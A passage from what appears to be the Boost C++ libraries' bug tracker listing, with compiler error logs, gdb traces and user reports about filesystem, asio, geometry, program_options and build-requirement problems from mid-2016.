#        define BOOST_PP_SEQ_ELEM_I(i, seq) BOOST_PP_SEQ_ELEM_II(BOOST_PP_CAT(BOOST_PP_SEQ_ELEM_ ## i, seq))
                                                                 ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:22:32: note: expanded from macro 'BOOST_PP_CAT'
#    define BOOST_PP_CAT(a, b) BOOST_PP_CAT_I(a, b)
                               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:29:36: note: expanded from macro 'BOOST_PP_CAT_I'
#    define BOOST_PP_CAT_I(a, b) a ## b
                                   ^
In file included from ./tools/test.cpp:13:
In file included from /home/u0017592/projects/boost_1_61_0/boost/lexical_cast.hpp:30:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/iterator_range_core.hpp:38:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/functions.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size.hpp:21:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size_type.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/concepts.hpp:19:
/home/u0017592/projects/boost_1_61_0/boost/concept_check.hpp:97:3: error: pasting formed 'BOOST_PP_SEQ_SIZE_0(', an invalid preprocessing token
/home/u0017592/projects/boost_1_61_0/boost/concept/detail/concept_def.hpp:22:16: note: expanded from macro 'BOOST_concept'
    template < BOOST_PP_SEQ_FOR_EACH_I(BOOST_CONCEPT_typename,~,params) >       \
               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:30:55: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I'
#    define BOOST_PP_SEQ_FOR_EACH_I(macro, data, seq) BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK(macro, data, seq)
                                                      ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:42:4: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK'
                        BOOST_PP_SEQ_DETAIL_IS_NOT_EMPTY(seq), \
                        ^
note: (skipping 2 expansions in backtrace; use -fmacro-backtrace-limit=0 to see all)
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/size.hpp:26:69: note: expanded from macro 'BOOST_PP_SEQ_SIZE'
#    define BOOST_PP_SEQ_SIZE(seq) BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_, BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_0, seq))
                                                                    ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:22:32: note: expanded from macro 'BOOST_PP_CAT'
#    define BOOST_PP_CAT(a, b) BOOST_PP_CAT_I(a, b)
                               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:29:36: note: expanded from macro 'BOOST_PP_CAT_I'
#    define BOOST_PP_CAT_I(a, b) a ## b
                                   ^
In file included from ./tools/test.cpp:13:
In file included from /home/u0017592/projects/boost_1_61_0/boost/lexical_cast.hpp:30:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/iterator_range_core.hpp:38:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/functions.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size.hpp:21:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size_type.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/concepts.hpp:19:
/home/u0017592/projects/boost_1_61_0/boost/concept_check.hpp:97:3: error: pasting formed 'BOOST_PP_SEQ_SIZE_0(', an invalid preprocessing token
/home/u0017592/projects/boost_1_61_0/boost/concept/detail/concept_def.hpp:22:16: note: expanded from macro 'BOOST_concept'
    template < BOOST_PP_SEQ_FOR_EACH_I(BOOST_CONCEPT_typename,~,params) >       \
               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:30:55: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I'
#    define BOOST_PP_SEQ_FOR_EACH_I(macro, data, seq) BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK(macro, data, seq)
                                                      ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:43:4: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK'
                        BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK_EXEC, \
                        ^
note: (skipping 4 expansions in backtrace; use -fmacro-backtrace-limit=0 to see all)
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/size.hpp:26:69: note: expanded from macro 'BOOST_PP_SEQ_SIZE'
#    define BOOST_PP_SEQ_SIZE(seq) BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_, BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_0, seq))
                                                                    ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:22:32: note: expanded from macro 'BOOST_PP_CAT'
#    define BOOST_PP_CAT(a, b) BOOST_PP_CAT_I(a, b)
                               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:29:36: note: expanded from macro 'BOOST_PP_CAT_I'
#    define BOOST_PP_CAT_I(a, b) a ## b
                                   ^
In file included from ./tools/test.cpp:13:
In file included from /home/u0017592/projects/boost_1_61_0/boost/lexical_cast.hpp:30:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/iterator_range_core.hpp:38:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/functions.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size.hpp:21:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size_type.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/concepts.hpp:19:
/home/u0017592/projects/boost_1_61_0/boost/concept_check.hpp:97:3: error: pasting formed 'BOOST_PP_SEQ_ELEM_0(', an invalid preprocessing token
/home/u0017592/projects/boost_1_61_0/boost/concept/detail/concept_def.hpp:22:16: note: expanded from macro 'BOOST_concept'
    template < BOOST_PP_SEQ_FOR_EACH_I(BOOST_CONCEPT_typename,~,params) >       \
               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:30:55: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I'
#    define BOOST_PP_SEQ_FOR_EACH_I(macro, data, seq) BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK(macro, data, seq)
                                                      ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:43:4: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK'
                        BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK_EXEC, \
                        ^
note: (skipping 13 expansions in backtrace; use -fmacro-backtrace-limit=0 to see all)
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/elem.hpp:39:66: note: expanded from macro 'BOOST_PP_SEQ_ELEM_I'
#        define BOOST_PP_SEQ_ELEM_I(i, seq) BOOST_PP_SEQ_ELEM_II(BOOST_PP_CAT(BOOST_PP_SEQ_ELEM_ ## i, seq))
                                                                 ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:22:32: note: expanded from macro 'BOOST_PP_CAT'
#    define BOOST_PP_CAT(a, b) BOOST_PP_CAT_I(a, b)
                               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:29:36: note: expanded from macro 'BOOST_PP_CAT_I'
#    define BOOST_PP_CAT_I(a, b) a ## b
                                   ^
In file included from ./tools/test.cpp:13:
In file included from /home/u0017592/projects/boost_1_61_0/boost/lexical_cast.hpp:30:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/iterator_range_core.hpp:38:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/functions.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size.hpp:21:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size_type.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/concepts.hpp:19:
/home/u0017592/projects/boost_1_61_0/boost/concept_check.hpp:97:3: error: pasting formed 'BOOST_PP_SEQ_SIZE_0(', an invalid preprocessing token
/home/u0017592/projects/boost_1_61_0/boost/concept/detail/concept_def.hpp:24:15: note: expanded from macro 'BOOST_concept'
      : name< BOOST_PP_SEQ_ENUM(params) >                                       \
              ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/enum.hpp:28:69: note: expanded from macro 'BOOST_PP_SEQ_ENUM'
#    define BOOST_PP_SEQ_ENUM(seq) BOOST_PP_CAT(BOOST_PP_SEQ_ENUM_, BOOST_PP_SEQ_SIZE(seq)) seq
                                                                    ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/size.hpp:26:69: note: expanded from macro 'BOOST_PP_SEQ_SIZE'
#    define BOOST_PP_SEQ_SIZE(seq) BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_, BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_0, seq))
                                                                    ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:22:32: note: expanded from macro 'BOOST_PP_CAT'
#    define BOOST_PP_CAT(a, b) BOOST_PP_CAT_I(a, b)
                               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:29:36: note: expanded from macro 'BOOST_PP_CAT_I'
#    define BOOST_PP_CAT_I(a, b) a ## b
                                   ^
In file included from ./tools/test.cpp:13:
In file included from /home/u0017592/projects/boost_1_61_0/boost/lexical_cast.hpp:30:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/iterator_range_core.hpp:38:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/functions.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size.hpp:21:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size_type.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/concepts.hpp:19:
/home/u0017592/projects/boost_1_61_0/boost/concept_check.hpp:97:3: error: pasting formed 'BOOST_PP_SEQ_SIZE_0(', an invalid preprocessing token
/home/u0017592/projects/boost_1_61_0/boost/concept/detail/concept_def.hpp:28:16: note: expanded from macro 'BOOST_concept'
    template < BOOST_PP_SEQ_FOR_EACH_I(BOOST_CONCEPT_typename,~,params) >       \
               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:30:55: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I'
#    define BOOST_PP_SEQ_FOR_EACH_I(macro, data, seq) BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK(macro, data, seq)
                                                      ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:42:4: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK'
                        BOOST_PP_SEQ_DETAIL_IS_NOT_EMPTY(seq), \
                        ^
note: (skipping 2 expansions in backtrace; use -fmacro-backtrace-limit=0 to see all)
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/size.hpp:26:69: note: expanded from macro 'BOOST_PP_SEQ_SIZE'
#    define BOOST_PP_SEQ_SIZE(seq) BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_, BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_0, seq))
                                                                    ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:22:32: note: expanded from macro 'BOOST_PP_CAT'
#    define BOOST_PP_CAT(a, b) BOOST_PP_CAT_I(a, b)
                               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:29:36: note: expanded from macro 'BOOST_PP_CAT_I'
#    define BOOST_PP_CAT_I(a, b) a ## b
                                   ^
In file included from ./tools/test.cpp:13:
In file included from /home/u0017592/projects/boost_1_61_0/boost/lexical_cast.hpp:30:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/iterator_range_core.hpp:38:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/functions.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size.hpp:21:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/size_type.hpp:20:
In file included from /home/u0017592/projects/boost_1_61_0/boost/range/concepts.hpp:19:
/home/u0017592/projects/boost_1_61_0/boost/concept_check.hpp:97:3: error: pasting formed 'BOOST_PP_SEQ_SIZE_0(', an invalid preprocessing token
/home/u0017592/projects/boost_1_61_0/boost/concept/detail/concept_def.hpp:28:16: note: expanded from macro 'BOOST_concept'
    template < BOOST_PP_SEQ_FOR_EACH_I(BOOST_CONCEPT_typename,~,params) >       \
               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:30:55: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I'
#    define BOOST_PP_SEQ_FOR_EACH_I(macro, data, seq) BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK(macro, data, seq)
                                                      ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/for_each_i.hpp:43:4: note: expanded from macro 'BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK'
                        BOOST_PP_SEQ_FOR_EACH_I_DETAIL_CHECK_EXEC, \
                        ^
note: (skipping 4 expansions in backtrace; use -fmacro-backtrace-limit=0 to see all)
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/seq/size.hpp:26:69: note: expanded from macro 'BOOST_PP_SEQ_SIZE'
#    define BOOST_PP_SEQ_SIZE(seq) BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_, BOOST_PP_CAT(BOOST_PP_SEQ_SIZE_0, seq))
                                                                    ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:22:32: note: expanded from macro 'BOOST_PP_CAT'
#    define BOOST_PP_CAT(a, b) BOOST_PP_CAT_I(a, b)
                               ^
/home/u0017592/projects/boost_1_61_0/boost/preprocessor/cat.hpp:29:36: note: expanded from macro 'BOOST_PP_CAT_I'
#    define BOOST_PP_CAT_I(a, b) a ## b
                                   ^
fatal error: too many errors emitted, stopping now [-ferror-limit=]
20 errors generated.
Error while processing ./tools/test.cpp.

Version of xlc++:

IBM XL C/C++ for Linux, V13.1.3 (5725-C73, 5765-J08)
Version: 13.01.0003.0001

Any insight?

#12306: boost::filesystem::remove_all(const path& p, system::error_code& ec) throws while it shouldn't

christophe.calmejane@… — Thu, 30 Jun 2016 10:41:58 GMT

This issue has been reported 4y ago (boost 1.50.0) but it's still here.

But I have an easier way to reproduce it. On a windows OS (I used win 8.1), create a folder somewhere, and use the windows properties on it to deny all access to it for you (FullAccess:Deny). Now, try to boost::filesystem::remove_all(folderPath, ec) on it. It will throw!

#12305: Requirements for traits::interior_{const,mutable}_type

john.firebaugh@… — Thu, 30 Jun 2016 01:33:04 GMT

The documentation of Polygon Concept states:

there must be a specialization of traits::interior_type defining the type of the collection of its interior rings as type; this collection itself must fulfill a Boost.Range Random Access Range Concept

(Emphasis mine; the mention of traits::interior_type should actually be traits::interior_const_type and traits::interior_mutable_type -- ticket #12304 -- but the issue I'm reporting here has to do with the latter bolded part of the statement.)

It appears that boost::geometry::intersection makes requirements on the interior type that are not a part of the Boost.Range Random Access Range Concept. Specifically, boost/geometry/algorithms/detail/overlay/convert_ring.hpp calls `interior_rings(destination).resize(...)`, and resize is not part of the Random Access Range Concept.

A test case is attached; it fails to compile with the following error:

<path>/boost/1.61.0/include/boost/geometry/algorithms/detail/overlay/convert_ring.hpp:90:45: error: no member named
      'resize' in 'boost::iterator_range<std::__1::__wrap_iter<std::__1::vector<point, std::__1::allocator<point> > *> >'
                interior_rings(destination).resize(
                ~~~~~~~~~~~~~~~~~~~~~~~~~~~ ^

Is this an error in convert_ring.hpp, or are there additional requirements on the interior type which are not documented?

#12304: Incorrect documentation for boost::geometry::traits::ring_type

john.firebaugh@… — Thu, 30 Jun 2016 01:15:50 GMT

http://www.boost.org/doc/libs/1_61_0/libs/geometry/doc/html/geometry/reference/concepts/concept_polygon.html states:

there must be a specialization of traits::ring_type defining the type of its exterior ring and interior rings as type

As far as I can tell, the specializations must actually be of traits::ring_mutable_type and traits::ring_const_type. There is no traits::ring_type template to specialize.

A similar issue exists with the documentation referring to traits::interior_type -- this should instead refer to traits::interior_mutable_type and traits::interior_const_type.

#12302: Warning while installing boost libraries

shopping_vineeshvs@… — Mon, 27 Jun 2016 12:02:26 GMT

The command

./b2 install

gives the following warnings

./boost/asio/error.hpp:258:45: warning: ‘boost::asio::error::system_category’ defined but not used [-Wunused-variable]
 static const boost::system::error_category& system_category
                                             ^
./boost/asio/error.hpp:260:45: warning: ‘boost::asio::error::netdb_category’ defined but not used [-Wunused-variable]
 static const boost::system::error_category& netdb_category
                                             ^
./boost/asio/error.hpp:262:45: warning: ‘boost::asio::error::addrinfo_category’ defined but not used [-Wunused-variable]
 static const boost::system::error_category& addrinfo_category
                                             ^
./boost/asio/error.hpp:264:45: warning: ‘boost::asio::error::misc_category’ defined but not used [-Wunused-variable]
 static const boost::system::error_category& misc_category

Any ideas why?

#12301: problem building 1.61.0

drmhkelley@… — Sun, 26 Jun 2016 12:42:51 GMT

Brand new to boost. Downloaded and (apparently successfully) built version 1.61.0. Using recent (I think most recent) version on cygwin64 on Windows 10. First use was to try the tutorial programs for the boost filesystem package. Below is the linker output for tut1.cpp

Any suggestions what I may have done wrong or where to look for solution?

tut1.o:tut1.cpp:(.text+0x11f): undefined reference to `boost::system::generic_category()' tut1.o:tut1.cpp:(.text+0x11f): relocation truncated to fit: R_X86_64_PC32 against undefined symbol ` boost::system::generic_category()' tut1.o:tut1.cpp:(.text+0x12b): undefined reference to `boost::system::generic_category()' tut1.o:tut1.cpp:(.text+0x12b): relocation truncated to fit: R_X86_64_PC32 against undefined symbol `

boost::system::generic_category()' tut1.o:tut1.cpp:(.text+0x137): undefined reference to `boost::system::system_category()' tut1.o:tut1.cpp:(.text+0x137): relocation truncated to fit: R_X86_64_PC32 against undefined symbol ` boost::system::system_category()' collect2: error: ld returned 1 exit status make: * [Makefile:20: tut1] Error 1

#12298: epool_wait hang

Thu, 23 Jun 2016 10:22:34 GMT

We use sofarpc (https://github.com/baidu/sofa-pbrpc ) which uses boost asio as network lib.

code like

boost::asio::io_service io_ser; auto work = new boost::asio::io_service::work(io_ser);

after I delete work, io_ser still in run function and never stop. so i print io_ser class member as below

(gdb) p *(boost::asio::detail::task_io_service * const) 0x22738e0 $26 = {<boost::asio::detail::service_base<boost::asio::detail::task_io_service>> = {<boost::asio::io_service::service> = {<boost::noncopyable_::noncopyable> = {<No data fields>},

_vptr.service = 0xa24a90 <vtable for boost::asio::detail::task_io_service+16>, key_ = {type_info_ = 0xa245a0 <typeinfo for boost::asio::detail::typeid_wrapper<boost::asio::detail::task_io_service>>,

id_ = 0x0}, owner_ = @0x228f6d0, next_ = 0x0}, static id = {<boost::asio::io_service::id> = {<boost::noncopyable_::noncopyable> = {<No data fields>}, <No data fields>}, <No data fields>}},

one_thread_ = false, mutex_ = {<boost::noncopyable_::noncopyable> = {<No data fields>}, mutex_ = {data = {lock = 0, count = 0, owner = 0, nusers = 7, kind = 0, spins = 0, list = {

prev = 0x0, next = 0x0}}, size = '\000' <repeats 12 times>, "\a", '\000' <repeats 26 times>, align = 0}}, task_ = 0x2266e10,

task_operation_ = {<boost::asio::detail::task_io_service_operation> = {next_ = 0x0, func_ = 0x0, task_result_ = 0}, <No data fields>}, task_interrupted_ = false, outstanding_work_ = {value_ = 3}, op_queue_ = {<boost::noncopyable_::noncopyable> = {<No data fields>}, front_ = 0x0, back_ = 0x0}, stopped_ = false, shutdown_ = false, first_idle_thread_ = 0x7f182991fce0}

and I found one of the thread stack as belows Thread 6 (Thread 0x7f182a321700 (LWP 30142)): #0 0x00007f1833fb2163 in epoll_wait () from /lib64/libc.so.6 #1 0x000000000061f888 in boost::asio::detail::epoll_reactor::run (this=0x2266e10, block=<optimized out>, ops=...) at /usr/local/include/boost/asio/detail/impl/epoll_reactor.ipp:392 #2 0x0000000000624671 in boost::asio::detail::task_io_service::do_run_one (ec=..., this_thread=..., lock=..., this=0x22738e0) at /usr/local/include/boost/asio/detail/impl/task_io_service.ipp:396 #3 boost::asio::detail::task_io_service::run (this=0x22738e0, ec=...) at /usr/local/include/boost/asio/detail/impl/task_io_service.ipp:153 #4 0x000000000062521e in boost::asio::io_service::run (this=0x228f6d0) at /usr/local/include/boost/asio/impl/io_service.ipp:59 #5 sofa::pbrpc::ThreadGroupImpl::thread_run (param=0x22bf100) at src/sofa/pbrpc/thread_group_impl.h:263 #6 0x00007f1834e7a9d1 in start_thread () from /lib64/libpthread.so.0 #7 0x00007f1833fb1b6d in clone () from /lib64/libc.so.6

because of its hanging, i want see if i see time_out parameter of epoll_wait function is -1. so i print epoll_reactor::timer_fd_ (gdb) p timer_fd_ $6 = 515 so we don't use time_out a normal value . so why epoll_wait never has a return ??

#12297: epoll_wait hang

Thu, 23 Jun 2016 10:15:07 GMT

We use sofarpc(https://github.com/baidu/sofa-pbrpc ) which use boost asio as network lib.

boost::asio::io_service io_ser; auto work = new boost::asio::io_service::work(io_ser); after I delete work, io_ser still in run function and never stop. so i print io_ser class member as below (gdb) p *(boost::asio::detail::task_io_service * const) 0x22738e0 $26 = {<boost::asio::detail::service_base<boost::asio::detail::task_io_service>> = {<boost::asio::io_service::service> = {<boost::noncopyable_::noncopyable> = {<No data fields>},

_vptr.service = 0xa24a90 <vtable for boost::asio::detail::task_io_service+16>, key_ = {type_info_ = 0xa245a0 <typeinfo for boost::asio::detail::typeid_wrapper<boost::asio::detail::task_io_service>>,

id_ = 0x0}, owner_ = @0x228f6d0, next_ = 0x0}, static id = {<boost::asio::io_service::id> = {<boost::noncopyable_::noncopyable> = {<No data fields>}, <No data fields>}, <No data fields>}},

one_thread_ = false, mutex_ = {<boost::noncopyable_::noncopyable> = {<No data fields>}, mutex_ = {data = {lock = 0, count = 0, owner = 0, nusers = 7, kind = 0, spins = 0, list = {

prev = 0x0, next = 0x0}}, size = '\000' <repeats 12 times>, "\a", '\000' <repeats 26 times>, align = 0}}, task_ = 0x2266e10,

task_operation_ = {<boost::asio::detail::task_io_service_operation> = {next_ = 0x0, func_ = 0x0, task_result_ = 0}, <No data fields>}, task_interrupted_ = false, outstanding_work_ = {value_ = 3}, op_queue_ = {<boost::noncopyable_::noncopyable> = {<No data fields>}, front_ = 0x0, back_ = 0x0}, stopped_ = false, shutdown_ = false, first_idle_thread_ = 0x7f182991fce0}

and I found one of the stack as belows Thread 6 (Thread 0x7f182a321700 (LWP 30142)): #0 0x00007f1833fb2163 in epoll_wait () from /lib64/libc.so.6 #1 0x000000000061f888 in boost::asio::detail::epoll_reactor::run (this=0x2266e10, block=<optimized out>, ops=...) at /usr/local/include/boost/asio/detail/impl/epoll_reactor.ipp:392 #2 0x0000000000624671 in boost::asio::detail::task_io_service::do_run_one (ec=..., this_thread=..., lock=..., this=0x22738e0) at /usr/local/include/boost/asio/detail/impl/task_io_service.ipp:396 #3 boost::asio::detail::task_io_service::run (this=0x22738e0, ec=...) at /usr/local/include/boost/asio/detail/impl/task_io_service.ipp:153 #4 0x000000000062521e in boost::asio::io_service::run (this=0x228f6d0) at /usr/local/include/boost/asio/impl/io_service.ipp:59 #5 sofa::pbrpc::ThreadGroupImpl::thread_run (param=0x22bf100) at src/sofa/pbrpc/thread_group_impl.h:263 #6 0x00007f1834e7a9d1 in start_thread () from /lib64/libpthread.so.0 #7 0x00007f1833fb1b6d in clone () from /lib64/libc.so.6

so i want see if i see time_out parameter of epoll_wait function is -1. so i print epoll_reactor::timer_fd_ (gdb) p timer_fd_ $6 = 515

so why epoll_wait never has a return ??

#12295: Boost Asio Serial Port does not work with Exar (Baudrate zero)

Wed, 22 Jun 2016 18:47:15 GMT

Calling boost::asio::serial_port.open("COM4") returns a error under windows. We use a Exar XR22804 using the latest official drivers for Windows. The problem is located in boost::asio::win_iocp_serial_port_service where the windows driver returns dcb.Baudrate=0. After that it tries to set new settings with SetCommState and it fails if dcb.Baudrate is 0. A solution would be to preset the baudrate if 0 or even better to read a user parameter with the wanted baudrate as it is done in some other frameworks.

Someone else has sent the same bug to the people of the qt-framework, and they solved it: https://bugreports.qt.io/browse/QTBUG-46993

#12294: boost::geometry::union_ empty result

phelippeneveu@… — Wed, 22 Jun 2016 18:10:53 GMT

union_() sometimes return an empty result. It seems like there is a bug with union_() if some vertices are too close to each other. I inspected the polygons and they seem to be valid (no self intersections). I created a SHP file and WTK file with a few problematic polygons. The polygons are in pairs, and if you call union_() on each pair, the result will be empty.

#12292: [TypeErasure] Construction of any from static_binding fails if compiling with rvalue-ref support

Wed, 22 Jun 2016 11:05:31 GMT

Although the documentation of Boost.TypeErasure explicitly shows how to default-construct an any from the binding of another any, this seems not to work when rvalue-references are supported by the compiler.

The reason is, that the wrong constructor overload is chosen.

binding_of returns a static_binding for which no explicit any-constructor is available. If rvalue-references are not supported by the compiler the constructor-overload which takes a binding is chosen (due to implicit conversion from static_binding to binding).

If rvalue-references are supported the constructor which takes a "universal reference" [1] is chosen instead which does not expect and therefore cannot handle the static_binding.

[1] https://isocpp.org/blog/2012/11/universal-references-in-c11-scott-meyers

#12284: Library requirements errors.

René Rivera — Fri, 17 Jun 2016 18:47:02 GMT

BEGIN OUTPUT

libs/wave: error: file not found; Did not find a Boost Build file in the [project-root]/test directory.

EXIT STATUS: 1

END OUTPUT

#12283: Library requirements errors.

René Rivera — Fri, 17 Jun 2016 18:35:12 GMT

BEGIN OUTPUT

libs/dynamic_bitset: error: directory not found; Missing [project-root]/doc directory. The [project-root]/doc directory is required for all libraries. Sources to build with and built documentation for the library. If the library needs to build documentation from non-HTML files this location must be buildable with Boost Build.

libs/dynamic_bitset: warning: file found; Found extra files in [project-root]/include/boost directory.

libs/dynamic_bitset: error: directory not found; Missing [project-root]/test directory. The [project-root]/test directory is required for all libraries. Regression or other test programs or scripts. This is the only location considered for automated testing. If you have additional locations that need to be part of automated testing it is required that this location refer to the additional test locations.

EXIT STATUS: 1

END OUTPUT

#12281: Library requirements errors.

René Rivera — Fri, 17 Jun 2016 18:30:30 GMT

BEGIN OUTPUT

libs/concept_check: error: directory not found; Missing [project-root]/test directory. The [project-root]/test directory is required for all libraries. Regression or other test programs or scripts. This is the only location considered for automated testing. If you have additional locations that need to be part of automated testing it is required that this location refer to the additional test locations.

EXIT STATUS: 1

END OUTPUT

#12279: Library requirements errors.

René Rivera — Fri, 17 Jun 2016 18:28:02 GMT

BEGIN OUTPUT

libs/tokenizer: error: directory not found; Missing [project-root]/doc directory. The [project-root]/doc directory is required for all libraries. Sources to build with and built documentation for the library. If the library needs to build documentation from non-HTML files this location must be buildable with Boost Build.

EXIT STATUS: 1

END OUTPUT

#12278: Library requirements errors.

René Rivera — Fri, 17 Jun 2016 18:26:15 GMT

BEGIN OUTPUT

libs/smart_ptr: error: directory not found; Missing [project-root]/build directory. The [project-root]/build directory is required for libraries that have a [project-root]/src directory.

libs/smart_ptr: error: directory not found; Missing [project-root]/doc directory. The [project-root]/doc directory is required for all libraries. Sources to build with and built documentation for the library. If the library needs to build documentation from non-HTML files this location must be buildable with Boost Build.

libs/smart_ptr: warning: file found; Found extra files in [project-root]/include/boost directory.

EXIT STATUS: 1

END OUTPUT

#12277: Library requirements errors.

René Rivera — Fri, 17 Jun 2016 18:07:44 GMT

BEGIN OUTPUT

libs/rational: error: directory not found; Missing [project-root]/doc directory. The [project-root]/doc directory is required for all libraries. Sources to build with and built documentation for the library. If the library needs to build documentation from non-HTML files this location must be buildable with Boost Build.

EXIT STATUS: 1

END OUTPUT

#12272: vertex_iterator dereference has odd return value

ich.freak@… — Wed, 15 Jun 2016 16:22:37 GMT

graph_traits::vertex_iterator::operator* seems to not return Value& as it should. This not only differs from STL iterators but can and does easily cause segfaults.

Code highlighting:

#include<list>
#include<boost/graph/adjacency_list.hpp>
typedef boost::adjacency_list<boost::vecS,boost::vecS> Graph;
typedef boost::graph_traits<Graph>::vertex_descriptor Vertex;
typedef boost::graph_traits<Graph>::vertex_iterator VIter;
const Vertex& deref(const VIter& it){
  return *it; // warning: returning reference to temporary [-Wreturn-local-addr]
}
const Vertex& deref(const std::list<Vertex>::iterator& it){
  return *it; // no warning, works fine
}
int main(){
  Graph g;
  Vertex u = boost::add_vertex(g);
  Vertex v = deref(boost::vertices(g).first);
  std::list<Vertex> vl(1, u);
  Vertex w = deref(vl.begin());
  return 0;
}

#12271: segfaults in options_description with -fipa-pta

Wed, 15 Jun 2016 08:23:18 GMT

With gcc-6.1.0, I'm seeing a lot of segfaults associated with boost::program_options::options_description. I had an older, but recent version of gcc lying around (5.3.0) that did not exhibit this behavior, so there's a decent chance that the fault lines in gcc itself vs. a newly exhibited bug here.

If I make an empty one and just let it fall out of scope, I get a segfault from the destructor:

seth@luca:~$ cat example.cpp
#include <boost/program_options.hpp>
int main() {
    boost::program_options::options_description d;
    return 0;
}
seth@luca:~$ g++ -g3 example.cpp -llibboost_program_options -fipa-pta -o example
seth@luca:~$ gdb ./example
(gdb) r
Starting program: /home/seth/./example
Traceback (most recent call last):
Program received signal SIGSEGV, Segmentation fault.
0x00000000004026db in boost::detail::atomic_exchange_and_add (pw=0x200c5f2d8d48e02c, dv=-1)
    at /toolchain/toolchain9/include/boost/smart_ptr/detail/sp_counted_base_gcc_x86.hpp:50
50          );
(gdb) bt
#0  0x00000000004026db in boost::detail::atomic_exchange_and_add (pw=0x200c5f2d8d48e02c, dv=-1)
    at /toolchain/toolchain9/include/boost/smart_ptr/detail/sp_counted_base_gcc_x86.hpp:50
#1  0x0000000000402709 in boost::detail::sp_counted_base::release (this=0x200c5f2d8d48e024)
